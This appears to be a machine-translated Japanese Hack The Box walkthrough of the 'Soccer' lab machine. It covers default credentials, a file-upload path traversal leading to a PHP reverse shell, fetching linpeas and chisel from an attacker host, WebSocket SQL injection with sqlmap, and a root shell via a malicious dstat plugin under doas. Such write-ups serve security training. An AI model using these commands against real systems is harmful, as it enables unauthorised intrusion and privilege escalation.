HTB — サッカー記事
全体として、いくつかの厄介なビットを備えた興味深いボックス — 評価は簡単ですが、中程度のボックスに傾いていますが、それでもなお、sau123 からの素晴らしいデビューです。
概要:
1. デフォルトのクレデンシャルを持つ非表示のログイン フォームを備えた興味深い Web サイト。
2. リバース シェルにつながるディレクトリ トラバーサルの脆弱性。
3. sqli および開示された信用につながる Websocket の脆弱性。
4. 通常とは異なるバイナリへのアクセスにより、priv esc が許可されます。
いつものように nmap を使って始めましょう:
初期 ENUM & WEB SVR フットホールド
いくつかのWeb 列挙
から始めましょう。多くのスキャナーを使用しましたが、dirbuster は /tiny/ を明らかにした唯一のツールでした:
いろいろ調べてみると、 Tiny File Managerの github が見つかりました。
https://github.com/prasathmani/tinyfilemanager
デフォルトの資格情報は次のとおりです。
admin: admin@123
user:12345
このバージョンの Tiny は CVE-2021–45010 に対して脆弱なようです:
(2.4.7 より前の Tiny File Manager の tinyfilemanager.php のファイル アップロード機能にパス トラバーサルの脆弱性があるため、リモートの攻撃者 (有効なユーザー アカウントを使用) が悪意のあるファイルをアップロードすることができます。 PHP ファイルを webroot に転送し、コードの実行につながります)。
サイトの機能を調査した後、リバース php webshell と nc を使用して、低レベルの svc アカウントを取得することができました。
https://github.com/tutorial0/WebShell/blob/master/Php/php-reverse-shell.php
より良いシェルを手に入れましょう:export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'
user.txt を cat できません。別の特権 esc を取得してみましょう。
(追加の潜在的なベクトル:
nginx の実行 — 影響を受けやすい:
1.18.0 までの NGINX は、キャッシュ ポイズニング、資格情報のハイジャック、またはセキュリティ バイパスにつながる可能性のある HTTP リクエスト スマグリング攻撃を可能にします。)
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
SVC からプレーヤーへのエスカレーション
最初の列挙では、ローカルホストでサービスを実行しているいくつかの興味深いポートが強調されました。
しかし、これらに戻って、マシンで linpeas を取得して実行することから始めましょう:
attackbox: python3 -m http.server
client: wgethttp://10.10.X.X:8000/linpeas.sh
chmod +x linpeas.sh
マシンには脆弱性があるようです (私はどちらも動作させることができませんでした
)
。
他に何も飛び出さないので、それらのローカル サービスを試してみましょう
:
参照しhttp://soc-player.soccer.htb/signupてアカウントを作成し、ログインします。
ログイン後、ページが表示されますhttp://soc-player.soccer.htb/check。面白い..
チケットを検索できるチケット確認メカニズムがあります。HTML ソースを調べたところ、この機能が WebSocket に接続していることがわかりました。
var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
投稿の python スクリプトは、sqlmap リクエストを localhost:8081 からターゲット ホストの websocket ポート 9091 に転送するプロキシとして使用できます。セットアップを機能させるには、スクリプトのいくつかのパラメーターを変更する必要があります。
ノミを使います(https://github.com/jpillora/chisel) 3000 をローカル ホストにポート転送するには:
再度 - http.server を使用してデバイスでチゼルを取得してから:
Kali: チゼル サーバー — ポート 1337 — 逆
ホスト: ./chisel クライアント — max-retry-count=1 10.10.XX:1337 R:3000:localhost:3000
安全なトンネル接続が確立され、sqlmap を実行できるようになりました。
そして、出力を取得します:
[email protected]
Player****************
プレーヤーに ssh できるようになりました。
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
プレーヤーからルートへのエスカレーション
列挙の結果、プレーヤーが doas バイナリを実行できることがわかりました。
doas.config は /usr/local/etc にありますが、書き込み可能ではありませんが、プレイヤーが実行できることを示しています: /usr/bin/dstat
それが何をするのかについてもう少し調べてみましょう!
これでできることをリストアップしましょう:
/usr/bin/dstat -h
プラグインを受け付けているようですが、ルート化に役立つものはありますか?
いいえ、しかし多分私たちは自分自身を書くことができます..
find / -writable -type d 2>/dev/null
/usr/local/share/dstat に書き込めるようです
そこに dstat_play.py という名前のプラグイン ファイルを作成します。
import subprocess
#新しい bash シェルを起動する
subprocess.run([“bash”])
それを実行します:
doas -u root /usr/bin/dstat dstat_play.py
これで root になりました!

![とにかく、リンクリストとは何ですか?[パート1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































